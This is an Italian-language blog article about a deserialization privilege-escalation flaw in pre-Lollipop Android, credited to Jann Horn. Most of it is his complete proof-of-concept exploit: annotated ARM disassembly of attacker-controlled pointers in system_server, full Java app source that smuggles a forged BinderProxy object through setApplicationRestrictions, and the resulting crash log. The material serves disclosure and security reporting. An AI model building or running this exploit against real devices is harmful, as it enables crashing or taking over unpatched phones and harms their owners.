Sicurezza Android · 5 min read · Jan 31, 2026

Una svista dei creatori di Android rende vulnerabili quasi tutti i dispositivi Android realizzati fino ad oggi

Table Of Contents

  • Una svista dei creatori di Android rende vulnerabili quasi tutti i dispositivi Android realizzati fino ad oggi
  • Difetto nella Serializzazione
  • Motivazione
  • Prova di Concetto

Una svista dei creatori di Android rende vulnerabili quasi tutti i dispositivi Android realizzati fino ad oggi

Jann Horn, un ricercatore, ha scoperto una prova di concetto di vulnerabilità in Android che potrebbe consentire a un attaccante novizio di attaccare il sistema molto facilmente. Apparentemente, questa vulnerabilità è stata una svista degli sviluppatori quando stavano creando la versione iniziale di Android e non è mai stata corretta. Dopo che Horn ha reso noto il problema, Google ha rilasciato una patch, ma questa è disponibile solo nell’ultima versione di Android Lollipop 5.0. Questo significa che ogni Android sotto il sole che esegue una versione di Android precedente a Lollipop 5.0 è vulnerabile a questo difetto di Escalation dei Privilegi.

Difetto nella Serializzazione

La serializzazione è un processo mediante il quale i dati di un’applicazione vengono convertiti in byte e memorizzati su un’unità di archiviazione fisica. L’inverso, la deserializzazione, è il processo di conversione di questi dati in una forma utile per l’app. Come puoi immaginare, questo è un processo molto importante per qualsiasi app, specialmente per effettuare backup. “Il sistema Android_service viene eseguito sotto UID 1000 e può cambiare nel contesto di qualsiasi app, installare nuove applicazioni con permessi arbitrari, e così via,” spiega Horn.

In parole semplici, Android non ha alcun meccanismo per verificare se i dati che vengono forniti durante la deserializzazione provengono da una fonte affidabile o meno. Quindi un attaccante può inserire i propri dati nel sistema sfruttando questa falla. Per coloro di voi più tecnicamente inclini, “java.io.ObjectInputStream” è il metodo che può essere sfruttato.

Motivazione

Horn ha avuto l’idea che una tale vulnerabilità potesse esistere dopo aver partecipato a una conferenza universitaria sulle vulnerabilità delle applicazioni web PHP. Ha ipotizzato che anche gli sviluppatori di Android dovessero aver commesso un errore simile e dimenticato di mantenere un controllo di sicurezza. Certo, le sue supposizioni si sono rivelate corrette quando è tornato e ha ricercato il sistema operativo. E per fortuna, ha deciso di informare il team di Android al riguardo invece di utilizzarla. Gli sviluppatori probabilmente hanno perso il difetto poiché non è qualcosa che si testa effettivamente.

La buona notizia è che il difetto non può essere utilizzato direttamente a causa delle restrizioni integrate di Android sui privilegi. Quindi un attaccante è costretto a utilizzare un’altra vulnerabilità prima di poter utilizzare questa. Il team di Android ha rilasciato una patch per il difetto all’inizio di novembre come parte del rilascio del codice AOSP (Android Open Source Project). Ma come abbiamo detto, questa patch è solo per Android 5.0 Lollipop. E poiché l’ambiente Android è così enormemente frammentato, non possiamo sapere con certezza se la patch raggiungerà qualche dispositivo diverso da quelli Nexus.

Prova di Concetto

L’intera PoC è fornita di seguito :

La classe android.os.BinderProxy contiene un metodo finalize che chiama codice nativo. Questo codice nativo utilizzerà quindi i valori di due campi di tipo int/long (dipende dalla versione di Android), li convertirà in puntatori e li seguirà. Su Android 4.4.3, questo è dove uno di quei puntatori finisce. r0 contiene il puntatore fornito dall’attaccante, e se l’attaccante può inserire dati nel processo a un indirizzo noto, finisce per ottenere l’esecuzione di codice arbitrario in system_server: # l’attaccante controlla il puntatore in r0 0000d1c0 ) const>: d1c0: b570 push {r4, r5, r6, lr} d1c2: 4605 mov r5, r0 d1c4: 6844 ldr r4, [r0, #4] # l’attaccante controlla r4 d1c6: 460e mov r6, r1 d1c8: 4620 mov r0, r4 d1ca: f7fd e922 blx a410 d1ce: 2801 cmp r0, #1 d1d0: d10b bne.n d1ea ) const+0x2a> d1d2: 68a0 ldr r0, [r4, #8] # l’attaccante controlla r0 d1d4: 4631 mov r1, r6 d1d6: 6803 ldr r3, [r0, #0] # l’attaccante controlla r3 d1d8: 68da ldr r2, [r3, #12] # l’attaccante controlla r2 d1da: 4790 blx r2 # salta nel puntatore r2 controllato dall’attaccante Android ha ASLR, ma come tutte le app, system_server è forkato dal processo zygote – in altre parole, tutte le app hanno la stessa struttura di memoria di base di system_server e dovrebbero quindi essere in grado di eludere l’ASLR di system_server. Ecco il mio codice PoC di crash. Mettilo in un’app Android, installa quell’app, aprila. Se non succede nulla, il GC potrebbe impiegare tempo – prova a fare altre cose o a riaprire l’app PoC o simili. Il tuo dispositivo dovrebbe fare qualcosa come un riavvio dopo alcuni secondi. =============================================================================== package net.thejh.badserial; import java.io.Serializable; import java.io.UnsupportedEncodingException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import dalvik.system.DexClassLoader; import android.app.Activity; import android.content.Context; import android.os.Bundle; import android.os.IBinder; import android.os.Parcel; import android.os.UserHandle; import android.os.UserManager; import android.util.Log; public class MainActivity extends Activity { private static final java.lang.String DESCRIPTOR = “android.os.IUserManager”;
private Class clStub;
private Class clProxy;
private int TRANSACTION_setApplicationRestrictions;
private IBinder mRemote; public void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int
userHandle) throws android.os.RemoteException
{
android.os.Parcel _data = android.os.Parcel.obtain();
android.os.Parcel _reply = android.os.Parcel.obtain();
try {
_data.writeInterfaceToken(DESCRIPTOR);
_data.writeString(packageName);
_data.writeInt(1);
restrictions.writeToParcel(_data, 0);
_data.writeInt(userHandle); byte[] data = _data.marshall();
for (int i=0; true; i++) {
if (data[i] == ‘A’ && data[i+1] == ‘A’ && data[i+2] == ‘d’ && data[i+3] == ‘r’) {
data[i] = ‘a’;
data[i+1] = ‘n’;
break;
}
}
_data.recycle();
_data = Parcel.obtain();
_data.unmarshall(data, 0, data.length); mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0);
_reply.readException();
}
finally {
_reply.recycle();
_data.recycle();
}
} @Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main); Log.i(“badserial”, “starting… (v3)”); Context ctx = getBaseContext();
try {
Bundle b = new Bundle();
AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy();
b.putSerializable(“eatthis”, evilProxy); Class clIUserManager = Class.forName(“android.os.IUserManager”);
Class[] umSubclasses = clIUserManager.getDeclaredClasses();
System.out.println(umSubclasses.length+” inner classes found”);
Class clStub = null;
for (Class c: umSubclasses) {
System.out.println(“inner class: “+c.getCanonicalName());
if (c.getCanonicalName().equals(“android.os.IUserManager.Stub”)) {
clStub = c;
}
} Field fTRANSACTION_setApplicationRestrictions =
clStub.getDeclaredField(“TRANSACTION_setApplicationRestrictions”);
fTRANSACTION_setApplicationRestrictions.setAccessible(true);
TRANSACTION_setApplicationRestrictions =
fTRANSACTION_setApplicationRestrictions.getInt(null); UserManager um = (UserManager) ctx.getSystemService(Context.USER_SERVICE);
Field fService = UserManager.class.getDeclaredField(“mService”);
fService.setAccessible(true);
Object proxy = fService.get(um); Class[] stSubclasses = clStub.getDeclaredClasses();
System.out.println(stSubclasses.length+” inner classes found”);
clProxy = null;
for (Class c: stSubclasses) {
System.out.println(“inner class: “+c.getCanonicalName());
if (c.getCanonicalName().equals(“android.os.IUserManager.Stub.Proxy”)) {
clProxy = c;
}
} Field fRemote = clProxy.getDeclaredField(“mRemote”);
fRemote.setAccessible(true);
mRemote = (IBinder) fRemote.get(proxy); UserHandle me = android.os.Process.myUserHandle();
setApplicationRestrictions(ctx.getPackageName(), b, me.hashCode()); Log.i(“badserial”, “waiting for boom here and over in the system service…”);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}

package AAdroid.os; import java.io.Serializable; public class BinderProxy implements Serializable {
private static final long serialVersionUID = 0;
public long mObject = 0x1337beef;
public long mOrgue = 0x1337beef;
}

Questo è ciò che dovresti vedere nel registro di sistema: F/libc ( 382): Segnale fatale 11 (SIGSEGV) a 0x1337bef3 (codice=1), thread 391 (FinalizerDaemon)
[…]
I/DEBUG ( 47): pid: 382, tid: 391, nome: FinalizerDaemon >>> system_server <<<
I/DEBUG ( 47): segnale 11 (SIGSEGV), codice 1 (SEGV_MAPERR), indirizzo di errore 1337bef3
I/DEBUG ( 47): r0 1337beef r1 b6de7431 r2 b6ee035c r3 81574845
I/DEBUG ( 47): r4 b6de7431 r5 1337beef r6 b7079ec8 r7 1337beef
I/DEBUG ( 47): r8 1337beef r9 abaf5f68 sl b7056678 fp a928bb04
I/DEBUG ( 47): ip b6e1e8c8 sp a928bac8 lr b6de63d9 pc b6e6c15e cpsr 60000030

Risorsa : Secure List

Share: X/Twitter LinkedIn

Ricevi i nuovi post nella tua casella di posta.

Nessuno spam. Disiscriviti in qualsiasi momento.